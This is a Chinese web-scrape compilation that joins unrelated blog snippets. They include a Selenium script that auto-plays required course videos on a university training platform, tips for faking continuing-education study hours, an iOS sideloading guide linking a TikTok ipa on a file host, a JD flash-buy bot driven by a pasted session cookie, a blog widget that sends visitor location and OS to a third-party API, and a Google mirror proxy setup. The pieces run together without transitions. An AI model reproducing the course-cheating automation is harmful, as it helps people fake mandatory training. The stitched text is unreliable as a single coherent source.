            sleep_time = int(video_time)*60 + int(math.modf(video_time)[0]*100)
            print("sleep time = %f"%sleep_time)
            time.sleep(sleep_time + 8) # 多看5秒钟,确保容错


            ###
            # OCR准确率不够,手写吧
            ###

            # win32api.keybd_event(17,0,0,0) #ctrl键位码是17
            # win32api.keybd_event(65,0,0,0) #A键位码是65
            # time.sleep(0.1)
            # win32api.keybd_event(65,0,win32con.KEYEVENTF_KEYUP,0) #释放按键
            # win32api.keybd_event(17,0,win32con.KEYEVENTF_KEYUP,0)

            # img = pyautogui.screenshot(region=(450,990, 110, 34)) # 得到截图区域
            # img.save("./1.jpg")

            # ocr = ddddocr.DdddOcr()
            # video_time = ocr.classification(image2byte(img)) # 得到截图区域文本
            # print("get video time%s"%video_time)

            # 关闭chrome
            os.system("taskkill /im chrome.exe /f")

            # # 释放锁,开启下一个线程
            # threading.Lock().release()

for url in urlAndTime:
    # main_thread = childThread(2, "play", url)
    # main_thread.start()
    # main_thread.join()

    # 先确保chrome被关闭了
    os.system("taskkill /im chrome.exe /f")
    time.sleep(2.5)
    
    # 创建子线程
    thread1 = childThread(1, "chrome", url)
    thread2 = childThread(2, "play", url)

    # 开启线程
    thread1.start()
    thread2.start()

    thread1.join()
    thread2.join()

    

print("Exiting Main Thread")

原理分析

​ python 的selenium 库可模拟人的行为去操作浏览器, 是web自动化测试工具, 同时也可定制一些特定脚本去模拟人观看视频.

​ selenium的使用需要用到浏览器驱动,此处以chrome为例进行测试.

环境配置与搭建

​ python:3.10

​ selenium:4.1.3

如何安装selenium?

在pycharm的Terminal(终端)执行pip install selenium

​ chrome:100.0.4896.75

​ 如何查看chrome版本?

在chrome地址栏输入chrome://version,第一行即是版本

​ chrome驱动:100.0.4896.60

如何根据下载驱动?

https://chromedriver.storage.googleapis.com/index.html在网址中找到对应chrome版本的驱动(版本号相近即可),

下载"chromedriver_win32.zip",将里面的"chromedriver.exe"放到与main.py同一目录下

成果演示


实现过程

1.安装完selenium和python后,将驱动安放好位置,还需要进行一些额外配置

首先将chrome安装目录"C:\Program Files\Google\Chrome\Application"(默认为这个,需要根据你的电脑自行查找)添加到环境变量path,添加过程详见百度

接着按下win+R,输入命令

chrome.exe --remote-debugging-port=9222 --user-data-dir="D:/selenium_test"

会打开浏览器调试窗口

2.我们首先需要在上一步打开的窗口人为登录,进入如下界面(若使用selenium登录需要用到验证码,而验证码的识别需要第三方接口...付费,因此略去)

3.接下来运行程序

注意问题

1.不要最小化浏览器,推荐在夜晚刷视频.

2.脚本虽设置检测暂停之后自动播放,但有时会遇到网站一直暂停的情况,此时需要点击浏览器聚焦

3.最好不要在调试浏览器的窗口新开标签页

4.无第三方题库接口,目前打算利用爬虫爬取题库,人工录入答案.

5.可使用浏览器插件global speed(同时点击设置,开启幽灵模式),开始16倍速,更为方便.

代码:

# chrome.exe --remote-debugging-port=9222 --user-data-dir="D:/selenium_test"
# https://dxpx.uestc.edu.cn/
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time


def address_pause():
    """处理视频暂停问题"""
    if wd.find_element(By.CSS_SELECTOR, '#wrapper > div > div.plyr__controls > button:nth-child(1)').get_attribute(
            "aria-label") == "Play":
        wd.find_element(By.CSS_SELECTOR, '#wrapper > div > div.plyr__controls > button:nth-child(1)').send_keys(
            Keys.ENTER)
        print("检测到视频暂停,继续播放")


def remove_blank():
    """更改属性target为'_self'"""
    js = 'var items = document.getElementsByTagName("a");for (var i = 0; i < items.length; i++) {var tmp = items[' \
         'i];tmp.target="_self";} '
    wd.execute_script(js)


def manage(j):
    """处理视频"""
    necessary = wd.find_elements(By.CSS_SELECTOR,
                                 'body > div > div.w1150 > div.wrap_right > div.lesson1_cont.q_lesson1_cont > '
                                 'div.lesson1_lists > ul > li')  # 必修的课程列表
    necessary[j].find_element(By.CSS_SELECTOR, 'h2 a').send_keys(Keys.ENTER)  # 此后进入视频
    time.sleep(3)
    little_one = wd.find_elements(By.CSS_SELECTOR, 'a[style]')  # 侧边栏的课程列表
    length_little_one = len(little_one)
    index = 1  # 第几个视频
    print("成功加载侧边栏的课程列表,一共{}个视频".format(length_little_one))
    for k in range(length_little_one):
        little_one = wd.find_elements(By.CSS_SELECTOR, 'a[style]')  # 侧边栏的课程列表
        print("正在播放第{}个视频,一共{}个".format(index, length_little_one))
        if "red" in little_one[k].get_attribute("style"):
            print("视频{}播放完成,即将播放下一个视频".format(index))
            index += 1
            continue
        little_one[k].send_keys(Keys.ENTER)
        while True:
            print("剩余时间:" + wd.find_element(By.CSS_SELECTOR, 'div[aria-label="Current time"]').get_attribute(
                "innerText").replace('-', ''))
            address_pause()
            time.sleep(3)
            if wd.find_element(By.CSS_SELECTOR, 'div[aria-label="Current time"]').get_attribute(
                    "innerText").replace('-', '') == "00:00":
                print('播放完成,点击按钮"我知道了"')
                break
        index += 1


# selenium预处理
option = Options()
option.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
wd = webdriver.Chrome(service=Service('chromedriver.exe'), options=option)
wd.implicitly_wait(3)  # 隐式等待

study_list = wd.find_elements(By.CSS_SELECTOR, 'a.study')  # 按钮'开始学习'的列表
length_study_list = len(study_list)  # 一共几门课
index_study_list = 1
for i in range(length_study_list):
    study_list = wd.find_elements(By.CSS_SELECTOR, 'a.study')  # 按钮'开始学习'的列表
    if index_study_list == 0 or index_study_list == 1:
        index_study_list += 1
        continue
    study_list[i].send_keys(Keys.ENTER)  # 点击按钮'开始学习'
    wd.find_element(By.CSS_SELECTOR,
                    'body > div > div.w1150 > div.wrap_right > div.lesson1_cont.q_lesson1_cont > div.lesson1_title > '
                    'div > a:nth-child(2)').send_keys(
        Keys.ENTER)  # 点击‘按钮’必修
    necessary_list = wd.find_elements(By.CSS_SELECTOR,
                                      'body > div > div.w1150 > div.wrap_right > div.lesson1_cont.q_lesson1_cont > '
                                      'div.lesson1_lists > ul > li')  # 必修的课程列表
    tmp_url = wd.current_url
    length_necessary_list = len(necessary_list)  # 必修课的个数
    index_necessary_list = 1  # 第几个必修课
    remove_blank()  # 移除target="_blank"属性
    for j in range(length_necessary_list):
        manage(j)  # 处理视频
        wd.get(tmp_url)  # 处理完视频回退
        remove_blank()  # 移除target="_blank"属性
        print("专题{}/{}:完成必修课程{}/{},三秒后进入下一个课程...".format(index_study_list, length_study_list, index_necessary_list,
                                                         length_necessary_list))
        time.sleep(3)
        index_necessary_list += 1
    index_study_list += 1  # 专题加一
    wd.get("https://dxpx.uestc.edu.cn/jjfz/lesson")

自签名有什么用,就不用我多说了吧,会玩的用处就多,分享一个简单的自签教程,废话不多说,下面是操作。
1.下载Sideloadly软件,下载地址:https://sideloadly.io

2.打开后连接手机入下图,会显示你的手机名称;

3.把你准备好的ipa软件拖入这个软件里面,举个例子:tiktok,下载连接:https://www.mediafire.com/file/7rtq772su5wsa57/tiktok.ipa/file

4.输入你的apple ID,点击确认后输入密码后最后点击下面的Star就开始签名

5.等到桌面出现软件图标的时候就算签名完成了,然后点击手机设置-通用-VPN与设备管理,信任以你签名的apple ID,

6.然后就可以打开软件愉快的玩耍啦,

很多玩法需要自己去解锁,比如安装低版本、或者好玩的版本,至于软件可以自己去找找,有很多的

ps:7天就掉签的,然后得再弄一次

在网页底部自定义中添加 如果你网站开启了pjax,可能还会有点小bug,问题不大

<!-- 客户端信息 -->
    <div id="fps" style="z-index:5;position:fixed;bottom:3px;left:3px;color:#2196F3;font-size:10px;"></div>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/kaliisra/myblogstatic/kehuduan-js/fetch.min.js"></script>
    <script src="https://cdn.gmit.vip/layer/3.1.1/layer.js" type="text/javascript" charset="utf-8"></script>
    <script>
    /*网站打开提醒代码开始*/
    $(function(){
        if(/*getCookie('msg') !=*/ 1){
            var t = document.createElement("a");
            t.href = document.referrer;
            var msgTitle = t.hostname;
            var name = t.hostname.split(".")[1];
            if("" !== document.referrer){
                switch (name) {
                    case 'bing':
                        msgTitle = '必应搜索';
                        break;
                    case 'baidu':
                        msgTitle = '百度搜索';
                        break;
                    case 'so':
                        msgTitle = '360搜索';
                        break;
                    case 'google':
                        msgTitle = '谷歌搜索';
                        break;
                    case 'sm':
                        msgTitle = '神马搜索';
                        break;
                    case 'sogou':
                        msgTitle = '搜狗搜索';
                        break;
                    default:
                        msgTitle =  t.hostname;
                };
            };
            var time = (new Date).getHours();
            var msg = '';
            23 < time || time <= 5 ? msg = "你是夜猫子呀?这么晚还不睡觉,明天起的来嘛?":
            5< time && time <= 7 ? msg = "早上好!一日之计在于晨,美好的一天就要开始了!":
            7< time && time <= 11 ? msg = "上午好!工作顺利嘛,不要久坐,多起来走动走动哦!":
            11< time && time <= 14 ? msg = "中午了,工作了一个上午,现在是午餐时间!":
            14< time && time <= 17 ? msg = "午后很容易犯困呢,今天的运动目标完成了吗?":
            17< time && time <= 19 ? msg = "傍晚了!窗外夕阳的景色很美丽呢,最美不过夕阳红~":
            19< time && time <= 21 ? msg = "晚上好,今天过得怎么样?":
            21< time && time <= 23 && (msg = "已经这么晚了呀,早点休息吧,晚安~");
            $.ajax({
                type:"get",
                url:"https://open.gmit.vip/web/api/UserInfo/",
                async:true,
                success:function(data){
                    window.info = data;
                    layer.msg("Hi~ 来自"+ data.data.location + '~<br/>通过 '+msgTitle+' 进来的朋友!<br/>使用 '+ data.data.os +"<br/>"+ data.data.browser +' 访问本站!' + '<br/>' + msg);
                    var showFPS = (function(){
                        var requestAnimationFrame =
                            window.requestAnimationFrame ||
                            window.webkitRequestAnimationFrame ||
                            window.mozRequestAnimationFrame ||
                            window.oRequestAnimationFrame ||
                            window.msRequestAnimationFrame ||
                            function(callback) {
                                window.setTimeout(callback, 1000/60);
                            };
                        var e,pe,pid,fps,last,offset,step,appendFps;
 
                        fps = 0;
                        last = Date.now();
                        step = function(){
                            offset = Date.now() - last;
                            fps += 1;
                            if( offset >= 1000 ){
                            last += offset;
                            appendFps(fps);
                            fps = 0;
                            };
                            requestAnimationFrame( step );
                        };
                        appendFps = function(fps){
                            var settings = {
                                timeout: 5000,
                                logError: true
                            };
                            $('#fps').html('<span style="float:left;">'+fps+'FPS</span><br/><span style="float:left">'+window.info.data.os+'</span><br/><span style="float:left;margin-top:1px;">'+window.info.data.browser+'</span><br/><span style="float:left;margin-top:1px;">'+window.info.data.location+'</span><br/><span style="float:left;margin-top:1px;"></span>');
                        };
                        step();
                    })();
                }
            });
        };
    });
    </script>

如果不显示,在头部或者脚部添加以下代码

<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

建立站点

在宝塔面板后台点击:网站-添加站点-输入网站域名

反向代理设置

安装面板后新建站点,然后设置站点选择反向代理(如下图所示)

然后设置反向代理

目标URL是: https://www.google.com.hk
发送域名也是: www.google.com.hk

#注意:目标URL一定是www.google.com.hk 后缀为二级区域域名.hk或者.sg。
否则会出现无法反代,连续多跳的问题。

SSL设置

点击SSL-开启https强制运行(这一步一定要有,因为谷歌目前已经强制https,所以镜像站点同样要以https运行)

介绍

一个基于 php 的外卖订餐网站,包括前端和后台。

运行环境:Apache+PHP+Mysql

代码说明

htaccess Rewrite 配置文件,需要放入到项目根目录
configs.php 需要配置数据库连接信息(主机、用户名、密码),系统常量,debug 模式等
data.sql 位于 data 目录中,是数据库备份文件,需要提前导入到 mysql 中
sendCode.php 短信接口,需要用到 appkey 和 secret ,可到 alidayu.com 申请。

技术架构:

后台 PHP+Mysql 前台 jQuery 、html 、CSS 、Bootstrap

网站结构:

网站首页 place.html

菜品展示页 shop.html

个人中心:

我的地址;余额;代金券;订单;我的积分;设置。

网站目录

account 个人中心(我的地址、余额、订单、积分、设置等)
admin 商家后台系统(完整的后台系统)
ajax 各种前台请求接口
configs 各种配置文件
core 各种核心函数
data 数据库 sql 文件
images 网站图片资源
lib 各种常用函数库
scripts 各种 js 文件
style 各种 css 文件
界面预览
首页

点餐页面

源码地址

[bshide]https://github.com/geeeeeeeek/dingfanzu[/bshide]

2022年新升级带特效喝酒神器小程序源码多种游戏支持流量主,具体功能如下:

1.彩票智能选号(支持多个彩种选号,快来选你的专属号码吧)

2.小马快跑(支持竞选模式和个人单选模式,PS马是真的在跑哟)

3.整蛊鳄鱼(少了一颗牙自动往酒杯加酒,看你能喝几杯)

4.真心话大冒险(这个就不多做解释啦)

5.转盘模式(指向谁谁就要做出惩罚)

6.啤酒轮盘(指向谁谁就要做出惩罚)

7.摇骰子

8.指尖模式

9.时间刚刚好(说几秒,然后卡几秒看你能不能哟支持多人模式)

10.手持弹幕

11.酷炫手机(相当于手机版的旧版闪光)

用户每日超出次数,还支持激励视频解锁游戏,当然了没有开通流量主的用户,就无此限制

代码逻辑清晰,文件规划统一明了,非常不错的,可以下载了学习一下,商用请支持正版,有问题可以联系本站客服获得帮助!!

搜索adunit-8e509190606cd228替换为你的Banner
搜索adunit-4e164272962ed757替换为你的插屏广告
搜索adunit-df287c05332593ba替换为你的激励广告

合法域名无需设置

代码地址:

https://github.com/geeeeeeeek/jd_qianggou

使用步骤:

第一步:获取 cookie

登录 pc 版 JD 商城,进入购物车,打开控制台,查看接口 https://api.m.jd.com/api?functionId=pcCart_jc_getCurrentCart 的 cookie ,填入 cookie 的输入框

第二步:获取商品 id

找到需要抢购的商品,查看详情,可以看到浏览器的 URL 为 https://item.jd.com/xxxxxxxx.html , 复制 xxxxxxxx 填入商品 ID 框,

第三步:设置抢购时间和数量

抢购时间需要格式设置,格式为 yyyy-MM-dd HH:mm:ss ,如 2022-05-02 12:00:00 。数量可随意设置,但需要考虑到店铺的库存以及是否设置为限购 1 件。

第四步:开始抢单
这个时候可以泡一杯茶,静待好事发生。

即可

现在大部分省市专业技术人员的的继续教育公需课开始了。这里提供几种小白做法。
一、使用软件刷课时

    可现在形式下,很少公开软件了。

二、使用油猴插件

    运气好的话,你能找到你本地市相关继续教育的插件。

三、使用360浏览器。

   打开360浏览器→设置→工具→自动刷新频率  时间设为5分钟内,设置成功后再进行公需课的学习。这样既能规避弹出的问题,又能计时。
    本人强烈建议使用第三种方法。因为没有任何技术含量。
    强烈建议使用第三种方法
    强烈建议使用第三种方法
    强烈建议使用第三种方法
 大家试试,如果有用的话,请支持一下。